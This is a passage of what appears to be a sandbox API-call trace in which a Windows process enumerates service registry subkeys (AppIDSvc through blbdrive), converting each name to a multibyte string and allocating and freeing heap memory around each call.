(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.244] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0253.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0253.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.244] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0253.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0253.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.245] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0253.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0253.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.245] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0253.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0253.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.245] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0253.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0253.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.245] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0253.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0253.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.246] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0253.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1e38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0253.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.246] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0253.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1cd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0253.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.246] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0253.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0253.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.247] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0253.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0253.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.247] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0253.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0253.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1e38, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0253.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.247] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0253.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0253.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.248] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0253.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0253.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.248] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0253.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0253.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.248] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0253.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0253.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.248] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0253.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0253.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.249] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0253.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0253.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.249] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0253.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0253.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.249] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0253.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0253.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.250] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0253.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0253.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.250] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0253.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, 